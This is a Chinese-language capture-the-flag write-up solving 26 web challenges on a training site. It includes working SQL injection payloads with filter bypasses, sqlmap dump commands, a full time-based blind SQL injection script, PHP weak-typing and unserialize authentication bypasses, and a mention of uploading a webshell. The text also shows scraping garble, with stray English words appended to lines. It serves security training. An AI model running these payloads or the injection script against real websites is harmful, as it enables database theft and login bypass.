實驗吧web題(26/26)全writeup!超詳細:)


#簡單的SQL注入php

http://www.shiyanbar.com/ctf/1875css

1)試着在?id=1,沒有錯誤html

2)試着?id=1',出錯了,有回顯,說明有注入點:mysql

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right
syntax to use near ''''' at line 1
3)先預計後臺表名爲flag,因此構造union select flag from flag
4)根據第二部判斷的依據,因此多加個',後面的語句須要再一個'來結束,注入語句爲?id=1'union select flag from flag where 't'=
't
回顯的是:You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for 
the right syntax to use near 't'='t'' at line 1
分析:根據報錯,只有變量了,其餘的關鍵字都沒過濾了
5)把關鍵字from,where寫兩遍試試,結果報錯:corresponds to your MySQL server version for the right syntax to use near
 'unionselectflag fromflag where't'='t'' at line 1
發現空格被過濾!
6)用'+'號來代替空格:?id=1 '+unionunion +selectselect +flag+fromfrom +flag+wherewhere+'t'='t
 

 


#簡單的SQL注入之2web

http://www.shiyanbar.com/ctf/1908sql

1.先正常顯示id=1 ,   id=2,   id=3  顯示正常說明只有三行chrome

2.id=1'  顯示mysql  語句錯誤 大概判斷mysql 語句爲  select  name  from user where id='input'數據庫

3.id=1 '  中間有一個空格  顯示 SQLi detected!  說明 空格被過濾json

結合這三種顯示的 內容  能判斷    顯示的是1  的界面加上咱們的sql 語句  才能真正的執行咱們想要執行的注入語句數組

繼續簡單的 判斷

id=1'%0Band%0B'1'='1   %0B  表示空格   還有的 相似  %0a-%0z  +  /**/均可以試試

顯示正常

ID: 1'and'1'='1
name: baloteli

而後 繼續測試

發現這個 邏輯 方法也 不錯

?id=1'||`id`||'  能夠顯示 表中的數據  而後語句就是  select  name  from user where id='1'||`id`||'' 閉合的 想要顯示錶中的全部記錄能夠多加幾個||’‘  只要是語句是閉合的就能夠

ID: 1'||`id`||'
name: baloteli
ID: 1'||`id`||'
name: kanawaluo
ID: 1'||`id`||'
name: dengdeng

而後繼續 結合web1 咱們能夠猜到   還有一個flag表

發現  十六進制編碼就能夠搞定

?id=1'/*!u%6eion*/ /*!se%6cect*/flag/*!from*/flag/*!where*/''='

直接 getflag


 


#簡單的SQL注入之3

http://www.shiyanbar.com/ctf/1909

本題,我才用SQL map來解;

1)構造SQL map命令:sqlmap -u "http://ctf5.shiyanbar.com/web/index_3.php?id=1" --dbs

一路跑下來獲得數據庫

2)再次構造判斷正確的數據庫:qlmap -u "http://ctf5.shiyanbar.com/web/index_3.php?id=1" --current-db

3)再次構造得到表名:sqlmap -u "http://ctf5.shiyanbar.com/web/index_3.php?id=1" --tables

4)再次構造查找flag表名中的列:sqlmap -u "http://ctf5.shiyanbar.com/web/index_3.php?id=1" --columns -T "flag"

5)再次構造dump其中的內容:sqlmap -u "http://ctf5.shiyanbar.com/web/index_3.php?id=1" --dump -C "flag" -T "flag"

tips:若是SQL map跑的很快的話推薦使用SQL map,可是掌握手工注入纔是王道。


 


#天下武功惟快不破

http://www.shiyanbar.com/ctf/1854

首先看一下源代碼

讓咱們提交找到的key進行post提交,看看請求頭

發現flag,固然就是把key當參數提交解出的flag進行post提交啦,可是必需要快,那就只有腳本了,下面附上腳本

import requests
import base64

url = 'http://ctf5.shiyanbar.com/web/10/10.php'

rs = requests.get(url).headers['FLAG']

v = base64.b64decode(rs)

print requests.post(url=url,data={'key':v.split(':')[1]}).content

tips:對於沒有requests模塊和base64模塊的同窗能夠pip下載,不會pip的能夠參考我以前的博客


 


#拐彎抹角

http://www.shiyanbar.com/ctf/1846

 

根據這段話,在url後面加index.php,便可獲得flag


 


#Forms

http://www.shiyanbar.com/ctf/1819

先F12查看源代碼

發現showsource的值爲0,改成1,獲得隱藏的源代碼

出現

if ($a == -19827747736161128312837161661727773716166727272616149001823847)

將pin的值改成

-19827747736161128312837161661727773716166727272616149001823847得出結果
 


 


#天網管理系統

http://www.shiyanbar.com/ctf/1810

首先右擊查看源代碼(手動滑稽

這裏要求咱們輸入一個字符串,通過md5後等於0,這是考驗php弱類型。這裏我提供4個均可以經過的值;

而後百度0開頭的MD5:http://www.mamicode.com/info-detail-1719711.html

在用戶名中輸入其中一個顯示

而後你懂;

打開那個連接:

$unserialize_str = $_POST['password']; $data_unserialize = unserialize($unserialize_str); if($data_unserialize['user'] == '???' && $data_unserialize['pass']=='???') { print_r($flag); } 偉大的科學家php方言道:成也布爾,敗也布爾。 回去吧騷年

這段代碼不難懂,就是把post提交的password值通過"反序列化"獲得一個數組,要求數組裏的user和pass都知足,就打印flag,可是咱們沒法得知'???'是什麼,可是咱們能夠注意到信息中判斷條件使用的爲==,也是php弱類型;

<?php if(true=="pcat"){ echo "ok"; } ?>

bool類型的true跟任意字符串能夠弱類型相等的,當代碼中存在unserialize或者json_decode的時候,咱們能夠構造bool類型,來達到欺騙。如今咱們構造一個數組,內瀚2個元素,分別是user和pass,都是bool類型的true,因而咱們獲得
a:2:{s:4:"user";b:1;s:4:"pass";b:1;}
(a表明array,s表明string,b表明bool,而數字表明個數/長度)

最後在密碼局域欄中用post提交就能夠了。


 


#Once More

http://www.shiyanbar.com/ctf/1805

一道簡單的代碼審計題,根據if語句要求,password必須大於9999999並且還要等於*-*

ok,直接構造password就行,password=1e8%00*-*

(注:%00是單純在數中加「-」會無心義,使用%00截斷後,加上*-*

回顯獲得flag,over!


 


#Guess Next Session

http://www.shiyanbar.com/ctf/1788

這一題須要用到火狐瀏覽器,而後下個火狐的插件,cookies manager+

老規矩,先看源代碼

說明get獲取的值必須和session的值相等才行

使用cookies managers +,刪掉PHP session

直接guess


 


#FALSE

http://www.shiyanbar.com/ctf/1787

  1. <html>
  2. <head>
  3.     <title>level1</title>
  4.     <link rel='stylesheet' href='style.css' type='text/css'>
  5. </head>
  6. <body>
  7. <?php
  8. require 'flag.php';
  9. if (isset($_GET['name']) and isset($_GET['password'])) {
  10.     if ($_GET['name'] == $_GET['password'])
  11.         print 'Your password can not be your name.';
  12.     else if (sha1($_GET['name']) === sha1($_GET['password']))
  13.       die('Flag: '.$flag);
  14.     else
  15.         print '<p class="alert">Invalid password.</p>';
  16. }
  17. ?>
  18. <section class="login">
  19.     <div class="title">
  20.         <a href="./index.txt">Level 1</a>
  21.     </div>
  22.     <form method="get">
  23.         <input type="text" required name="name" placeholder="Name"/><br/>
  24.         <input type="text" required name="password" placeholder="Password" /><br/>
  25.         <input type="submit"/>
  26.     </form>
  27. </section>
  28. </body>

 

分析代碼邏輯,發現GET了兩個字段name和password,得到flag要求的條件是:name != password & sha1(name) == sha1(password),乍看起來這是不可能的,其實能夠利用sha1()函數的漏洞來繞過。若是把這兩個字段構造爲數組,如:?name[]=a&password[]=b,這樣在第一處判斷時兩數組確實是不一樣的,但在第二處判斷時因爲sha1()函數沒法處理數組類型,將報錯並返回false,if 條件成立,得到flag。


 


#上傳繞過

http://www.shiyanbar.com/ctf/1781

菜刀,一句話木馬ok


 


#what a fuck!這是什麼鬼東西?

http://www.shiyanbar.com/ctf/56

頗有特徵的,jother編碼,一堆括號。能夠在線解碼,不過爲了離線考試,在chrome瀏覽器,F12,有一個console,粘貼所有代碼,回車,彈出key


 


#這個看起來有點簡單

http://www.shiyanbar.com/ctf/33

使用SQL注入

聯合查找

http://ctf5.shiyanbar.com/8/index.php?id=1%20union%20select%201,1

查數據庫

http://ctf5.shiyanbar.com/8/index.php?id=1%20union%20select%201,SCHEMA_NAME%20from%20information_schema.SCHEMATA

猜表名

http://ctf5.shiyanbar.com/8/index.php?id=1%20union%20select%201,TABLE_NAME%20from%20information_schema.TABLES

猜字段

http://ctf5.shiyanbar.com/8/index.php?id=1%20union%20select%201,COLUMN_NAME%20from%20information_schema.COLUMNS

k0y最可疑,因而提交

http://ctf5.shiyanbar.com/8/index.php?id=1%20union%20select%201,k0y%20from%20thiskey


 


#頭有點大

http://www.shiyanbar.com/ctf/29

火狐or chrome F12

 

點擊編輯和重發,編輯信息,修改語言和增長一個.net framework 9.9,也就是添加.NET CLR 9.9(有個分號)

發送並預覽


 


#Forbidden

http://www.shiyanbar.com/ctf/21

F12,選擇網絡,而後從新加載一下,點擊編輯和發送

修改zh-CN爲zh-hk

發送後在預覽頁面便可看到flag


 


#貓捉老鼠

http://www.shiyanbar.com/ctf/20

根據題目提示「catch」,使用burpsuite抓包嘗試,並將抓包數據發送至Repeater

直接點擊GO,看Response輸出,發現表頭中存在如下一行內容提示

將「MTQ4ODg2ODA4MA==」複製後,替換Repeater中本身先前輸入的123,查看Response,發現已獲得key


 


#登陸一下好嗎?

http://www.shiyanbar.com/ctf/1942

解釋下:

先計算username='TG' 通常數據庫裏不可能有我這個小名(如有,你就換一個字符串),因此這裏返回值爲0(至關於false)
而後0='' 這個結果呢?看到這裏估計你也懂了,就是返回1(至關於true)

因此這樣的注入至關於
select * from user where 1 and 1
也等於 select * from user
(這題只有篩選出來的結果有3個以上纔會顯示flag,沒有就一直說「對不起,沒有此用戶!!」)

好了,繼續嘮叨幾句,上面那個比較是弱類型的比較,
如下狀況都會爲true
1='1'
1='1.0'
1='1後接字母(再後面有數字也能夠)'
0='除了非0數字開頭的字符串'
(整體上只要前面達成0的話,要使語句爲true很簡單,因此這題的萬能密碼只要按照我上面的法子去寫一大把)


 


#who are you?

http://www.shiyanbar.com/ctf/1941

時間注入,不懂得搜百度,我直接上腳本不BB了

import requests
import time
import sys

url = 'http://ctf5.shiyanbar.com/web/wonderkun/index.php'

def retriveCurrentDatabase():

ascii = -1
index = 1
result = ""

while "\x00" not in result:

ascii = 0

for i in range(8):

sql = "222' and (case when (ascii(substring((select database()) from %d for 1))&%d!=0) then sleep(0.5) else sleep(0) end) and '1'='1" % (index, pow(2, i))
headers = {'X-Forwarded-For': sql}
starttime = time.time()
requests.get(url, headers=headers)

if (time.time() - starttime) > 0.5:

ascii += pow(2, i)

if chr(ascii) != '\x00':
sys.stdout.write(chr(ascii))
result += chr(ascii)

index += 1

return result

def retriveTable(database):

database = "'" + database + "'"

ascii = -1
row = 0
while True:

index = 1
result = ""

while "\x00" not in result:

ascii = 0

for i in range(8):

sql = "222' and (case when (ascii(substring((select table_name from information_schema.tables where table_schema=%s limit 1 offset %d) from %d for 1))&%d!=0) then sleep(0.5) else sleep(0) end) and '1'='1" % (database, row, index, pow(2, i))
headers = {'X-Forwarded-For': sql}
starttime = time.time()
requests.get(url, headers=headers)

if (time.time() - starttime) > 0.5:

ascii += pow(2, i)

if chr(ascii) != '\x00':
sys.stdout.write(chr(ascii))
result += chr(ascii)

index += 1

if result == '\x00':
break
ascii = -1
print('')
row += 1

def dumpColumn():

ascii = -1
row = 0
while True:

index = 1
result = ""

while "\x00" not in result:

ascii = 0

for i in range(8):

sql = "222' and (case when (ascii(substring((select flag from flag limit 1 offset %d) from %d for 1))&%d!=0) then sleep(0.5) else sleep(0) end) and '1'='1" % (row, index, pow(2, i))
headers = {'X-Forwarded-For': sql}
starttime = time.time()
requests.get(url, headers=headers)

if (time.time() - starttime) > 0.1:

ascii += pow(2, i)

if chr(ascii) != '\x00':
sys.stdout.write(chr(ascii))
result += chr(ascii)

index += 1

if result == '\x00':
break
ascii = -1
row += 1

def main():
database = retriveCurrentDatabase()
print('\nCurrent database is %s' % database)
print('Let\'s see the table name in the database!')
database = database.replace("\x00","")
retriveTable(database)
print('Let\'s dump the flag!')
sys.stdout.write("ctf{")
dumpColumn()
sys.stdout.write("}")

if __name__ == '__main__':
main()


 


#因缺思廳的繞過

http://www.shiyanbar.com/ctf/1940

查看源碼獲得這個東西,改變下url

出來了這個東西

  下面就是post數據的檢查,這裏不是狹義上的過濾,僅僅是檢查,檢查到敏感字符就輸出「水可載舟,亦可賽艇!」,結束。
主要檢查"and""select""from""where""union""join""sleep""benchmark"",""("")"這些sql中經常使用到的東西。

數據庫鏈接這塊沒什麼說的。接着就是將$_POST['uname']直接代入sql查詢interest表。驗證查詢結果是否一行,若是是將查詢結果的pwd列值與$_POST['pwd']比較,如相同則輸出FLAG。
程序彷佛挺簡單,邏輯也明瞭清楚。要獲得flag,得過兩個條件判斷:mysql_num_rows($query) == 1 和$key['pwd'] == $_POST['pwd']。
相信有個別人,代碼都不看就直接拿出sqlmap,看完代碼,不建議這樣作,收益甚微啊。看看輸入檢查就知道了。
試想若是用union select控制查詢結果,那$key['pwd']和$_POST['pwd']就都在咱們的控制之中了,但這條路的關鍵在於過輸入檢查。我手動試了不少方法,嘗試過輸入檢查,發現徒勞。再看看代碼,想一想也是,這麼個檢查方法,彷佛過不了檢查的。
因而從新調整戰略。咱們要的是過兩個條件判斷,從這入手其實第一個條件判斷很好過:x' or 1 limit 1#,這就過了第一個檢查。再看第二個檢查$key['pwd'] == $_POST['pwd']。因爲數據庫中數據咱們是沒法得到的,至少我獲取不了。想過這個條件只有控制了$key['pwd']纔有可能。我摸索了很長時間,幾乎快放棄了,詢問了pcat此處是否有可爲。答案是確定的,又給了點提示。最後肯定目標使$key['pwd']爲NULL。但是輸入檢查很嚴,去了逗號,括號等。爲達到目標,我翻看mysql的手冊。過程漫長又非因缺思汀。早飯過程當中腦子中一直過手冊內容。早飯事後,就想到了可利用之處。group by with rollup。
x'or 1 group by pwd with rollup #

最後根據pwd爲NULL,playload:x'or 1 group by pwd with rollup limit 1 OFFSET 2#


 


#讓我進去

http://www.shiyanbar.com/ctf/1848

用哈希長度擴展攻擊,原理嗎,搜百度,我不在這BB

推薦先看下這個連接:http://www.cnblogs.com/pcat/p/5478509.html

其中已經對這個方法作了詳細介紹了,我就不在贅述了


 


#忘記密碼了

http://www.shiyanbar.com/ctf/1808

首先Ctrl+U查看網頁源代碼:能夠看到 admin"爲"admin@simplexue.com"    編輯器爲Vim。

隨便輸一個,彈出js框提示密碼放在step2.php裏。那麼直接打開step2.php,發現一直跳轉回step.php。算了,直接用Fiddler看吧,果真是一個302重定向。那麼訪問step2.php時,實際上是將它內置的test@test.com發到submit.php裏去了。那麼咱們再訪問submit.php,顯示的是"you are not an admin"。

這個方法不行,看了下別人的WriteUp,說是Vim會產生臨時文件。那麼咱們在瀏覽器裏訪問.submit.php.swp,果真有文件。雖然有亂碼,但代碼勉強看的懂。這裏須要的是emailAddress和token兩個參數。emailAddress就是剛纔個,而token作了判斷,必須爲0且長度爲10。

改變url:http://ctf5.shiyanbar.com/10/upload/submit.php?emailAddress=admin@simplexue.com&token=0000000000


 


#NSCTF web200

http://www.shiyanbar.com/ctf/1760

題目是一個php加密的,咱們逆着就好了

$dd="a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws";
$s=str_rot13($dd);
$a=strrev($s);
$b=base64_decode($a);
for($e=0;$e {
$g=substr($b,$e,1);
$temp=ord($g)-1;
$g=chr($temp);
$aa=$aa.$g;
}
echo strrev($aa);
?>

 


#程序邏輯問題

http://www.shiyanbar.com/ctf/62

這道題仍是卡了幾個小時,

最後的playload:

user=1 union select concat('bcbe3365e6ac95ea2c0343a2395834dd')%23 &pass=222

開始我覺得注入,最後注入出來發現pw字段是111

因而嘗試了 弱類型 ,發現沒什麼軟用

最後想到union查詢

SELECT username FROM admin where id =-1 union select concat('bcbe3365e6ac95ea2c0343a2395834dd')

原理:當沒有id爲-1的用戶時 就會顯示union後的語句 也就是 bcbe3365e6ac95ea2c0343a2395834dd

222的md5

同時提交pass=222 就金光一閃了


 


#PHP大法

http://www.shiyanbar.com/ctf/54

經過閱讀http://ctf5.shiyanbar.com/DUTCTF/index.php.txt中的代碼能夠知道

id若是等於"hackerDJ"的話不會獲得flag 但後面要求解碼後仍是"hackerDJ"

因此須要第一次解碼不是"hackerDJ",而第二次是"hackerDJ",因此編碼兩次就行了

(不須要所有編碼,隨便找個字母,好比最後的J->%254A便可)

http://ctf5.shiyanbar.com/DUTCTF/index.php?id=hackerD%254A


 


#貌似有點難

http://www.shiyanbar.com/ctf/32

打開burp攔截一個請求,在http頭部增長一個x字段爲1.1.1.1 轉發出去。

而後就能夠看見key了。


 


#看起來有點難

http://www.shiyanbar.com/ctf/2

SQL注入,簡單的很,只不過跑起來很慢,居然是50分的,不知道過人之處在哪

題目沒有問題,這是嚇唬人罷了,應該就是這樣吧,要相信本身,別被眼前的事物所迷惑吧。


 記念下

相關文章
相關標籤/搜索